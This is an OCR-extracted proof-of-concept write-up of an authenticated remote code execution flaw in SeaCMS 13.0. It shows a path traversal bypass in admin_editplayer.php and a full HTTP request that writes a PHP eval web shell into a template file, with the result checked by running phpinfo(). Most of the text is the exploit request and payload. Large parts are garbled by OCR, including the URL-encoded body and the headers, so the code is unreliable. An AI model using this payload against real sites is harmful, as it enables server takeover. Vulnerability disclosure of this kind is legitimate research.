Introduction

SeaCMS 13.0 has a remote code execution vulnerability. The reason for this vulnerability is that
although admin_editplayer.php imposes certain restrictions on edited files, attackers can still
bypass these restrictions and write code in some way, allowing authenticated attackers to
exploit the vulnerability to execute arbitrary commands and gain system privileges.
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Analysis

Although the extension of the edited file is limited to HTML, HTML, JavaScript, CSS, and txt, and
can only edit content under the template, itincludes /templets/admin_editplayer.htm in the next
line of code. We only need to modify the content of this file to introduce our malicious code, and
we can use ../uploads/../4wé6ryg/templets/ traverse to the directory of the file you want to edit
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in_editplayerphp X

admin_editplayer.php

require_once(dirname(
if(empty($action))
{

$action = 3

$dirTemplate
if($actiol ‘edit')
{
if(substr(strtolower($filedir),®,12)!=$dirTemplate){
ShowMsg iﬁtempletsﬁﬁ'ﬂ",”admim_play‘" php?action=boardsource"”);
exit;

$filetype=getfileextend($filedir);

filetype!="html" && $filetype!="htm" && $filetype!="js" 8&& $filetype! " && $filetype!

ShowMs g F#ZEIE! ", "admin_player.php?action=boardsource");
exit;

len($filedir)-1
$content=loadFile($filedir
$content = m_eregi_replac <textarea", "##textarea",$content);
$content = m_eregi_replace( extarea", "##/textarea"”,$content);
$content = m_eregi_replac <form", "##form",$content)
$content = m_eregi_replace("</form","##/form",$content);
/templets/admin_editplayer.htm');
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POST /4wbrye/admin_editplayer. php?action=save HITP/1.1
Host: 127.0.0.13

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winbd; x64;
Accept:

text/htul, application/shtml+xml, application/sml;q=0. 9, inage/avif, inage/webp, inage/png, inage/sve+xml,
#/*;q=0. 8

Accept-Language: zh-CN, zh;q=0. 8, zh=TW;q=0. 7, zh-HK;q=0. 5, en-US:q=0. 3, en;q=0. 2

Accept-Encoding: ezip, deflate, br

Connection: close

Cookie: PHPSESSID=1humhbotkv6uhe7r3qsruivias

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Node: navigate

Sec-Fetch-Site: none

Sec-Fetch-User: ?1

Priority: u=0, i

rv:128.0) Gecko/20100101 Firefox/128.0

Content-Type: application/x-www-form-urlencoded
Content-Length: 8828
content=

9%3C%3F phpt20%40eval (%24_POSTU%5B1%5D) %3B%3F%3E%3C! DOCTYPE%20htm1%20PUBLIC%20%22-%2F%2FWIC%2F%2FDTD%20
XHTML%201. 0%20Transitional%2F%2FEN%22%20%22ht t p%3A%2F%2Fwww. w3. org%2F TR%2Fxhtm]11%2FDTD%2Fxhtm]1-tran
sitional. dtd%22%3E%0A%3Chtn]1%20xmlns%3D%22ht tp%3A%2F%2Fwww. w3, orgh2F1999%2F xhtm1%22%3E%0A%3Chead%3E%
3Cmeta%20name%3D%22robots%22%20content%3D%22noindexk2Cnof ol 1owh22%3E%0A%3Cmet a%20ht tp-equi vi3D%22Con
tent-Type%22%20content%3D%22text%2Fhtm1%3B%20c harset®s3Dutf-8%22%20%2F%3E%0A%3Cne ta%20name’3D%22robot
s“uZ’“u’()contel\t“uiD“v’Znomdex“u’Cnofollow%ZZ%ZOMF%SE%OA“vSCTITLE%KE%EG%Q 2%AD%E6%I4%BESE 5%99%AB%E TRAESAL
HETS 402t 5HOO0%SEHE5%EFUBO%E THAERA 1 %E THO0%BE%3CH2F TI TLE3E%OA%OA
%301 inkh20hre F3DH2ingdoFsty Le. cssHR220re L43DHO2sty Leshee 22920t ypehaDHR2tex 2R SSORIHR0NFHIERO
A%3Cscript%20src%3D%22. . %2F js%2Fcommon. js%22%20typet3D%22texth2F javascripth22%3E%3C%2Fscripth3E%0A%S
Cscx1pt“v"Oslc“v3D“u22Js"v’Fma1n Js%22%20type%3D%22text%2F javascr ipt%22%3E%3C%2Fscri pt%3E%0A%0A%3Ch2Fhea

5H8O%ED%E SHAFUBC 0A%3Cscr ipt%20typek3Dh22textH2F T
a»aScUp(“nZZ“uSE)f(paxent %24 (' aduinepnav’))%20parent. %24 ( aduincpnav’ ). innerHINLASD SESROOUSERESHS
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Fphp%0Aif (%24action%3D%3D’ edit’ ) %0A%T] 20%3Cform%20action%3D%22%3Fact ion%3Dsavel22%20
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Raw Hex
mArgin-TOp: ZUpK:
font-size:14px;
color:#555;
font-weight:normal;

REER

- msg_jump_tit{
height:32px;
padding:Opx;
line-height:32px;
font-size:14px;
color:#DFE4ED;
text-align:left;
background: #0099CC;

}
</styled
</head>
18 <body leftmargin=' 0’ topmargin= 0'>
19 <center>

function JumpUrl(){
if (pgo==0) {
location="admin_player. php?action=boardsource’ ;
pgo=

}

}

document. write ("<br /><div class= mac_msg_jump’

document. write (

“<ing style=’ height

I )

27 document. write (
“<div style=’ margin-top:20px;
Lor:#0099CC; font-size: 12p

<div class='text’>");

28px;margin-bottom: 15px;’ ; src="http://127.0.0.13/pic/i2. png’

=)

dq

28 setTimeout (' JumpUrl ()", 1000) ;
</seript>
29 </center>
30 </body>
31 </html>
[OX: IR gl

POST /4wbryg/admin_editplayer.php?action=save HTTP/1.1

Host: 127.0.0.13

User-Agent: Mozilla/5.0 (Windows NT 10.0; win64;

Firefox/128.0
Accept:

text/html,application/xhtml+xml,application/xml

e/png,image/svg+xml,*/*;q=0.8
Accept-Language:
Accept-Encoding: gzip, deflate,
Connection:

br
close

x64; rv:128.0) Gecko/20100101

zh-CN,zh;q=0.8,zh-Tw;g=0.7,zh-HK;g=0.5,en-US;q=0.3,en;g=0.2

Cookie: PHPSESSID=1humhbotkv6uhe7r3qsruivla6

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none

Sec-Fetch-User: 7?1

Priority: u=0, i

Content-Type: application/x-www-form-urlencoded

Content-Length: 8828

1

> <br> Hiedf

i

;0=0.9,1image/avif,image/webp,imag



content=%3C%3Fphp%20%40eval (%24_POST%5B1%5D)%3B%3F%3E%3C!DOCTYPE%20htm1%20PUBLIC
%20%22 -
%2F%2FW3C%2F%2FDTD%20XHTML%201.0%20Transitional%2F%2FEN%22%20%22http%3A%2 F%2 Fwww
.W3.0rg%2FTR%2Fxhtm11%2FDTD%2Fxhtm11-
transitional.dtd%22%3E%0A%3Chtm1%20xm1ns%3D%22http%3A%2F%2 Fwww.w3.0rg%2F1999%2Fx
htm1%22%3E%0A%3Chead%3E%3Cmeta%20name%3D%22 robots%22%20content%3D%22noindex%2Cno
folTlow%22%3E%0A%3Cmeta%20http-equiv¥%b3D%22Content-
Type%22%20content%3D%22text%2Fhtm1%3B%20charset%3Dutf-
8%22%20%2F%3E%0A%3Cmeta%20name%3D%22robots¥%22%20content%3D%22noindex%2CnofolTow%
22%20%2F%3E%0A%3CTITLE%3EXEG%I2%ADKE6%I4%BERE 5% 9%A8%E 7 %AERALRE7%90%86 -
K%E6%92%ADKE6%I4%BERE 5%99%A8 -

seacmsBES5%I0%BESE 5% FIBBOWE7%AEBALRET7%I0%86%3C%2FTITLERIEXOA%0A%3CTink%20href%3D%
22img%2Fstyle.css%22%20rel1%3D%22stylesheet%22%20type%3D%22text%2Fcss%22%20%2F%3E
%0A%3Cscript%$20srckb3D%22. .%2Fjs%2Fcommon . js%22%20type%3D%22text%2Fjavascript¥%22%
3E%3C%2Fscript%3EX0A%3Cscript%b20srckb3D%22js%2Fmain. js%22%20type%3D%22text%2Fjava
script%22%3E%3C%2Fscript%3E%0A%0A%3C%2Fhead%3E%0A%3Cbody%3E%0A%3C! -~

%E 5%BD%93%E 5%89%8D%E 5%AF%BCHE 8%88%AA- -
%3E%0A%3Cscript%20typeX%3D%22text%2FIavascript%22%3Eif(parent.%24("admincpnav'))%
20parent.%24("admincpnav').innerHTML%3D "' %E5%90%8E%E5%8 F%BO%E 9%A6%I6%EI%AL%B5%26N
bsp%3B%26raquo%3B%26nbsp%3B%E 6%92%ADKE 6%94%BEKE 5%99%A8%26nbsp%3B%26raquo%3B%26nb
SP%3B%E6%92%ADRE 6%94%BEKE 5%I9%ABKE 7%AERALIE7%90%86%20 ' %3B%3Ckh2Fscript%3E%B0A%0A%3
Cdiv%20cTlass%3D%22container%22%201d%3D%22cpcontainer%22%3E%0A%3C! --

%E 5%BD%9I3%E 5%89%8D%E SBAF%BCRE 8%88%AA- -

%3E%0A%3C%3Fphp%0Aif(%24action%3D%3D" edit')%0A%7B%0A%IF%3IE%0A%20%20%3CForm%20act
ion%3D%22%3Faction¥%3Dsave%22%20method%3D%22post%22%20%20%3E%0A%20%20%20%20%3Ctrk%
3E%0A%20%20%20%20%20%20%3Ctd%20width%3D%228%25%22%20c1ass%3D%22td_border%22%3E%E
6%96%87%EA4%BB%B6%E 5%90%8D%E 7%A7%BOWBEF%BCIBIA%3C%2 Ftd%3E%0A%20%20%20%20%20%20%3Ctd
%20width%3D%2292%25%22%20cTass%3D%22td_border%22%3E%3Cinput%20name%3D%22name%22%
20type%3D%22text%22%20%20d1isabled¥%3D%22disabled¥%22%20s1ze%3D%2240%22%20vaTlue%3D%
22%3C%3Fphp%20echo%20%24fi TenameX%3B%3F%3EX%22%20%2 F%3E%20%E6%B3%A8%E6%84%8 FXEF%BC
%IA%E 6%96%87%EA%BBRBO6KE 5%90%8DWE6%I7%A0%E6%B 3%9 5%EA%BFRAERE6%94%BI%0A%20%20%20%2
0%3C%2Ftr%3E%0A%20%20%20%20%3Ctr%3E%0A%20%20%20%20%20%20%3Ctd%20co1span%3D%222%2
2%20cTass%3D%22td_border%22%3E%3Ctextarea%20%20name%3D%22content%22%20sty1e%3D%2
2width%3A99%25%3Bfont-family%3A%20Arial%2C%20Helvetica%2C%20sans-serif%3Bfont-
s12e%3A%2014px%3B%22%20rows%3D%2225%22%20dataType%3D%22Requi re%22%20msg%3D%22%E8
%AFI%B7%E 5%ALIBABKE 5%8 6% I%E 6%ABBALRE7%89%88KRE 5%86%8 S%E SHAE%BI%22%3E%3CHhIFphp%20ec
ho%20%24content%3B%3F%3E%3C%2Ftextarea%3EX%3C%2Ftd%3E%0A%20%20%20%20%3C%2Ftr¥%3E%0
A%20%20%20%20%3Ctr%3E%0A%20%20%20%20%20%20%3Ctd%20cTass%3D%22td_border%22%3E%3C%
2Ftd%3E%3Ctd%20cTass%3D%22td_border%22%3E%3Cbr%3E%3Cbr%3E%3Cinput%20name%3D%22fi
Tedir%22%20type%3D%22hidden%22%20value%3D%22%3C%3Fphp%20echo%20%24f1iTedi r%3B%3F%
3E%22%3E%3Cinput%20type%3D%22submit%22%20name%3D%22Submit%22%20value%3D%22%E4%BF
%AERE 6%94%BI%E 6%92%ADWE6%I4%BEXE 5%9I9%A8%22%20cT1ass%3D%22btn%22%20%2F%3E%20%3Cinp
ut%20typeX%3D%22button%22%20name%3D%22back%22%20va’lue%3D%22%E8%BF%94%20%20%E5%9B%
9E%22%20%20cTass%3D%22btn%22%200nC11ck%3D%22javascript¥%3Ahistory.go(-1)%3B%22%20
%2F%3E%20%3Cbr%3E%3Cbr%3E%0A%09%20%20%E6%92%AD%E6%94%BEXE 5%ICHBOKE 5%9ID%80%3A%20p
arent.now%26nbsp%3B%26nbsp%3B%0A%20%20%20%20%20%20%20%20%20%20%20%E4%B8%BA%EAL%BS
%80%E9%AL%B S%E 7%BD%IL%E I%AL%B SHE 5%ICH%BO%E 5%9D%80%3A%20parent . prePage%26nbsp%3B%2
6nbsp%3B%0A%20%20%20%20%20%20%20%20%20%20%20%E4%B8%8BRE4%B8%80%E 9%9IBY%E6%E 7%BD%I 1
%E9%AL%BS%ES5%ICHBOYES5%ID%80%3A%20parent . nextPage%26nbsp%3B%26nbsp%3B%0A%20%20%20
%20%20%20%20%20%20%20%20%E4%B8%8B%E4%B 8%80%E 9%IB%B6%E 7%BC%I3%E 5%86%B2%E 5%9C%BO%E
5%9D%80%3A%20parent . next%3Cbr%3E%0A%20%20%20%20%20%20%20%20%20%20%20%E 6%92%AD%E6
%94%BEXE 5%99%A8%E SRAESBBDKE 5%BA%AG%3A%20parent . playerws26nbsp%3B%0A%20%20%20%20%2
0%20%20%20%20%20%20%E6%92%AD%E 6%94%BEXE 5%99%A8%E 9%AB%IBKE 5%BA%A6%3A%20parent.pla
yerh%26nbsp%3B%0A%20%20%20%20%20%20%20%20%20%20%20%E 7%BC%I3%E 5%86%B2%E 5%BI%BF%ES
%91%8A%3A%20parent .adsPage%26nbsp%3B%0A%20%20%20%20%20%20%20%20%20%20%20%E 5%B9%B
F%E5%91%8A%E6%97%B6%EI%I5%BF%3A%20parent . adsTime%3Cbr%3E%3Chr%3E%0A%0A%20%20%20%
20%20%20%20%20%20%20%20%E8%A7%A3I%E6%IEKRI0%E6%BEHBASKE 5%8 FA3ARE FI%BCRIA%RE 5%90%8D%E
7%A7%B0parent . jxAname%20%20%E5%9C%BO%E5%9D%80parent . jxAapi%3Cbr%3E%0A%20%20%20%2



0%20%20%20%20%20%20%20%E 8%A7%A3%E6%IE%IOWE 6%BERASKE 5%8 FI%A3BRE F%BCHIAYE 5%90%8DX%E 7
%A7%B0Oparent. jxBname%20%20%E5%9C%BO%E5%9D%80parent . jxBapi%3Cbr%3E%0A%09%09%20%20
%20%EB%ATHA3KREG%IE%I0%BE6%BEXASKE 5%8 FRAICKEF%BCHIANBE 5%I0%8DIE7%A7%BOparent. jxCnam
€%20%20%E5%9C%BO%ES5%9D%80parent . jxCapi%3Chr%3E%0A%09%09%20%20%20%5B%E6%I4%AF%E 6%
8C%81A%20B%20C%20D%20E%20F%20G%20H%201%20%E 5%85%B19%E4%B8BAAKE 8%ATBA3KREGLBIE%I0%5
D%0A%3Cbr%3E%0A%09%09%20%20%20%3Ch r%3E%3C%2 Ftd%3E%0A%20%20%20%20%3C%2 Ftr%3E%0A%2
0%20%3C%2Fform%3E%0A%3C%3Fphp%0A%7D%0AeT se%7B%0A%3F%3IE%0A%3CtableX%20cTass¥%3D%22t
b%22%3E%0A%3Ctr%20class%3D%22thead%22%3E%3Cth%20co1span%3D%226%22%3E%E6%92%AD%E6
%94%BEXE 5%99%AB%E 7%HAEBALRET7%I0%86%3C%2Fth¥%3E%3CH2 Ftr%3E%B0A%20%20%3Ctr%3E%0A%20%2
0%20%20%3Ctd%20width%3D%2222%25%22%20height%3D%2230%22%20c1ass%3D%22td_btop3%22%
3E%3Cstrong%3E%E6%96%87%EA%BBA%BO%E5%90%8D%3C%2Fstrong%3E%3C%2Ftd%3E%0A%09%3Ctd%2
Owidth%3D%2220%25%22%20cT1ass%3D%22td_btop3%22%3E%3Cstrong%3E%E6%92%AD%E6%94%BESE
5%99%A8%E7%BL%BBRESKIE%BB%ICH%2Fstrong%b3E%3C%2Ftd%3E%0A%20%20%20%20%3Ctd%20width%
3D%2219%25%22%20cT1ass%3D%22td_btop3%22%3E%3Cstrong%3E%E6%96%87%EA%BBY%B6%E 5%A4%AT
%ES5%B0%8F%3C%2Fstrong%3E%3C%2Ftd%3E%0A%20%20%20%20%3Ctd%20width%3D%2217%25%22%20
class%3D%22td_btop3%22%3E%3Cstrong%3EXEA%BFUAERE6%I4%BIRE6%7%BOREI%I7%BA%ICA2FS
trong%3E%3C%2Ftd%3E%0A%20%20%20%20%3Ctd%20width%3D%2222%25%22%20class%3D%22td_bt
0p3%22%3E%3Cstrong%3E%EG%I3%BDIEA%BDABICKICH2FStrong%3E%3Ch2Ftd%3E%0A%20%20%3C%2F
tr%3E%0A%20%20%3Ctr%3E%0A%3C%3Fphp%0Aif (substr(%24path%2Cstrlen(%24path)-1)%3D%3
D'%2F')%20%24path%3Dsubstr(%24path%2Cc0%2Cstrlen(%24path)-1)%3B%0A%24T1astLevelPat
h%3Dsubstr(%24path%2C0%2Cstrrpos (%24path%2C'%2F"'))%3B%0A1f(%24path!%3D"' . .%2Ftemp
Tets')%7B%0A%3F%3E%0A%20%20%20%20%3Ctd%20height%3D%2230%22%20cTass%3D%22td_borde
r%22%20co1span%3D%225%22%3E%E 5%BD%93%E 5%89%8D%E 7%9IBRAEKE 5%BD%I S%EF%BC%IA%IC%3IFph
p%20echo%20%24path%3B%3F%3E%3C%2 Ftd%3E%0A%20%20%20%3C%2Ftr%3E%20%0A%0A%3C%3Fphp%
0A%7D%0A%0AToreach (%2411 st%20as%20%24finfo)%0A%7B%0A%24fo1der%3D%24path .%22%2F%
22.%24finfo%5B" filename ' %5D%3B%0A%3F%3E%0A%09%3Ctr%20al1ign%3D%22Teft%22%20%3E%3C
td%20height%3D%2230%22%20cTass%3D%22td_border%22%3e%3Ca%20href%3D%22%3C%3Fphp%20
if(%24finfo%5B' filetype'%5D%3D%3D"' folder')%7Becho%20%22%3Fpath%3D%22.%24folder%3
B%7Delseif (%24finfo%5B' filetype'%5D%3D%3D " txt')%7Becho%20%22%3Faction%3Dedit%26f
iledir%3D%22.%24folder%3B%7Delse%7Becho%20%24folder%3B%7D%3F%3E%22%3E%3Cimg%20bo
rder%3D0%20src%3D"'img%2F%3C%3Fphp%20echo%20%24finfo%5B"' fileicon'%5D%3B%3F%3E.gif
'%3E%3C%3Fphp%20echo%20%24finfo%5B"' filename'%5D%3B%3F%3E%3C%2Fa%3E%3C%2Ftd%3E%3C
td%20cTlass%3D%22td_border%22%3E%3C%3Fphp%20echo%20%24finfo%5B"' fileinfo'%5D%3B%3F
%3E%3CH2Ftd%3E%3Ctd%20cTass%3D%22td_border%22%3E%3C%3Fphp%20echo%20%24finfo%5B "' f
ilesize'%5D%3B%3F%3E%3C%2Ftd%3E%3Ctd%20cTass%3D%22td_border%22%3E%3Cspan%20style
%3D "' font-

s1ze%3A10px '%3E%3C%3Fphp%20echo%20%24finfo%5B"' filetime'%5D%3B%3F%3E%3C%2Fspan%3E
%3C%2Ftd%3E%20%3Ctd%20cTass%3D%22td_border%22%3E%3C%3Fphp%201if (%24finfo%5B8' filet
ype '%5D%3D%3D ' folder')%7Becho%20%22%3Ca%20href%3D%5C%22%3Fpath%3D%22.%24folder.%
22%5C%22%3E%3Cimg%20border%3D0%20src%3D " img%2Fnext.gif'%20%2F%3EXEA%B8%8B%EA4%B8%
80%E7%BA%BATHE7%IBIAESE 5%BD%I5%3C%2Fa%3E%22%3B%7Delseif(%24finfo%5B" filetype'%5D%
3D%3D " txt')%7Becho%20%22%3Ca%20href%3D'%3Faction%3Dedit%26filedir%3D%22.%24folde
r.%22"%20%3E%E7%BCAIOHEBBBE%IL%3CH2Fa%3E%26nbsp%3B%26nbsp%3B%26nbsp%3B%3Ca%20hre
%3D'%3Faction%3Dde1%26f11edir%3D%22.%24folder.%22"'%200nC11ck¥%3D%5C%22return%20c
onfirm( " %E7%ALIAERE SHAERIAKE 8%A6%8 LK%E 5%88%A0%E %I I%AA%E 5%90%97 ' ) %5C%22%3EXE5%88%
AO%E9%99%A4%3C%2Fa%3E%22%3B%7De1se%7Becho%20%22%3Ca%20href%3D'%22.%24folder.%22"
%20target%3D_b1ank%20%3EXE6%B5%8FBEB%AT%88%3C%2Fa%3E%26nbsp%3B%26nbsp%3B%26nbsp%
3B%3Ca%20href%3D'%3Faction%3Dde1%26f11edir%3D%22.%24folder.%22"'%200nC11ck¥%3D%5C%
22return%20contirm( ' %BE7%ALRAERE SBAERIAWBE 8%AG%E L%E 5%88%A0KEI%IIBAL%ES5%I0%97 ' )%5C%
22%3EXE5%88%A0%EI%II%AA%3CA%2Fa%3E%22%3B%TD%IF%IE%3CH2Ftd%3E%3CHh2FtrE3EBOA%ICAIFp
hp%0A%7D%0A%7D%0A%3IF%3E%0A%3C%2Ftab1e%3E%0A%0A%3C%2Fdiv%3EB0A%3CT Frame%20width%3
D%22100%25%22%20height%3D%220%22%20frameborder%3D%220%22%20scro111ing%3D%22auto%?2
2%20src%3D%22about%3Ablank%22%20a11ign%3D%22midd1e%22%20name%3D%22proxy%22%20onTo
ad%3D%22var%20_1%3Dthis.contentwindow%3Bif(_1.document.URL!%3D"'about%3Ablank')%7
Bthis.style.height%3D_1.document.body.scrollHeight%2B"'px'%3B%7D%22%3E%3C%2Fifram
e%3E%0A%3C%3Fphp%0AviewFoot ()%3B%0A%3F%3E%0A%3C%2Fbody%3E%3C%2Fhtm1%3E%0A&T1 1ed1
r=..%2Fjs%2Fplayer%2F. .%2F. .%2F4wbryg%2Ftemplets%2Fadmin_editplayer.htm&Submit=%
E4%BF%AEX%E 6%94%B9%E 6%92%AD%E 6%94%BEKE 5%99%A8



It can be seen that after making a request to admin_editplayer.php, our malicious code
successfully wrote admin_editplayer.htm

-

> templets > <> admin_editplayer.htm > €@ ?
?php @eval($_POST[1]);?> html PUBLIC "-/ '/DTD XHTML 1.8 Transit
xmlns="http:// .org/1999/xhtml"
name="robots" content="noindex,nofollow"
http-equiv="Content-Type" content="text/html; charset=utf-8"
name="robots" content="noindex,nofollow"
BE e - EIEE - seacms | BB

‘style.css

rel="stylesheet" type="tex
j /javascript”

javascript”

type="text/JavaScript">if(parent.$( "admincpnav')) parent.$%('admincpna

Finally, by accessing admin_editplayer.php, you can see that the malicious code has been
successfully executed

& C QO D 127.0.0.13/4wéryg/admin_editplayer.php

PHP Version 7.2.9

System Windows NT FUSHULING 10.0 build 22631 (Windows 10) AMD6
Build Date Aug 15 2018 23:04:11

Compiler MSVC15 (Visual C++ 2017)

Architecture x64

Configure Command cscript /nologo configure js "--enable-snapshot-build" "--enable

oci=c\php-snap-build\deps_aux\oracle\x64\instantclient_12_1\¢
snap-build\deps_aux\oracle\x64\instantclient 12 1\sdk,shared"
enable-com-dotnet=shared” "--without-analyzer® "--with-pgo”

Server API CGl/FactCGl
N OZEe Ot OEdE NREe (Iemes Oue Onr B & * FEsREs 8 umiEr @ Hackear

Encryption + Encoding+ SQL~ XSS~ Other~

& Load URL http://127.0.0.13/4wéryg/admin_editplayer.php

4 split URL

») Execute
Post data Referer User Agent Cookies Clear All

1=phpinfo();
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